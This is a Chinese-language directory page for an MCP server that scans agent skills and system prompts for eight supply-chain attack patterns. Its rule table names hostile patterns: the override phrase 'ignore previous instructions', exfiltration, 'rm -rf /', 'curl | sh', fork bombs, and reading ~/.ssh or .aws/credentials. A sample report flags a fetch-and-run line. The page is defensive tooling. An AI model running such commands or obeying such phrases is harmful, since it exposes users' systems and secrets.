mcpField
M
mcp-skill-sec

mcp-skill-sec

本地服务
github.com/sudo-ai-git安全09 周前更新

关于 mcp-skill-sec

mcp-skill-sec 是用于 Agent 技能、系统提示词和文件集合的确定性安全审计 MCP 服务。它无需 LLM 或网络连接,可在安装前检查八类供应链攻击模式并提供逐行证据。

主要功能

  1. 01扫描八类恶意技能模式
  2. 02审计文本、单个文件和目录
  3. 03报告严重性、行号和证据
  4. 04汇总目录内各文件判定

适用场景

  1. 01安装前检查下载的 Agent 技能
  2. 02审查来源不明的系统提示词
  3. 03批量筛查技能文件集合

MCP 相关

该 MCP 服务向客户端提供文本、文件及目录审计工具,并可列出规则目录。支持 stdio 和 Streamable HTTP 传输。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"sudo-ai-git-mcp-skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}
启动命令uvx mcp-skill-sec

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
pypimcp-skill-sec1.0.0

工具

还没有获取到工具列表

本地服务需要在你的电脑上运行后才能读取工具,维护者暂未提供工具列表。

详细介绍

mcp-skill-sec

一个 Model Context Protocol(MCP)服务,可根据 8 种恶意技能供应链模式审计任意 Agent 技能、系统提示词或下载的文件集合。

确定性检测,不使用大模型,也不发起网络调用——可自托管的安装前扫描器,适用于 Claude Code、Cursor、Copilot、OpenClaw、Codex CLI 及任何兼容 MCP 的 Agent。

扫描规则(R1–R8)

规则模式
R1提示注入 / 指令劫持(ignore previous instructions、保密指令、身份覆盖)
R2数据外泄意图(将内容发送、发布或通过电子邮件发送到 URL,窃取日志)
R3硬编码密钥 / 凭据(API 密钥、PAT、私钥、连接字符串)
R4危险命令(rm -rf /、curl | sh、Fork 炸弹、原始设备写入)
R5混淆 / 隐藏行为(base64 执行、eval/exec、零宽字符)
R6不可信的外部获取(获取后运行、非 PyPI 安装)
R7凭据访问(读取 ~/.ssh、.aws/credentials、.env)
R8权限提升(sudo -s、setuid、加入 sudo 组)

每条发现都包含 severity(critical/high/medium/low)、行号和匹配的证据行。只有在没有 critical/high 级别发现,且每条 medium 级别发现均为良性时,整体判定才为 PASS。

工具

  • audit_text(text, filename) — 审计字符串(粘贴给你的技能、并非由你编写的系统提示词)。
  • audit_skill_file(path) — 审计磁盘上的 SKILL.md / AGENTS.md / CLAUDE.md,提供带行号的证据。
  • audit_directory(path, pattern) — 审计整个下载的技能集合;返回每个文件的判定和摘要。
  • rule_list() — 输出规则目录。

安装与运行

一条命令(推荐)——从仓库安装,无需 PyPI 令牌:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
# then register with your agent:
mcp-skill-sec                       # run stdio server
mcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

或者使用 pipx:pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

直接从源代码运行(备用方式):

pip install mcp
python3 mcp_server.py               # run stdio
mcp install mcp_server.py --name skill-sec   # register with Claude Desktop
Claude Desktop / Agent 配置
{
  "mcpServers": {
    "skill-sec": {
      "command": "mcp-skill-sec",
      "args": []
    }
  }
}

示例

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

同系列项目

这是 sudo-ai-git 推出的三个确定性、不使用大模型的 Agent 信任 MCP 服务之一:

同系列产品: mcp-token-saver — 面向 Agent 对话的令牌成本代理与分析器(计费前去重冗余令牌;经实际验证可减少 74%)。讨论

同系列还有(免费 CLI,并非 MCP 服务):harness-audit — 确定性的 Agent 评估 / 基准测试评分卫生审计,可检测同类隐蔽配置泄漏导致的错误评分问题。免费引流工具;采用相同的验证规范,零依赖,可逐行审计。

许可证与来源

MIT。由 sudo-ai-git 编写。这是一款独立的安全 / 验证工具;不包含任何专有方法。它是 Agent 技能 skill-sec 的 MCP 版本(规则相同,通过服务调用,而非作为技能使用)。

官方 MCP 注册表元数据

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

定制集成服务

需要将它接入你的内部系统(身份验证、日志记录、安全扫描流程、托管服务)?请提交定制开发请求。MIT 参考资源可免费使用。

mcp-skill-sec MCP 服务

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。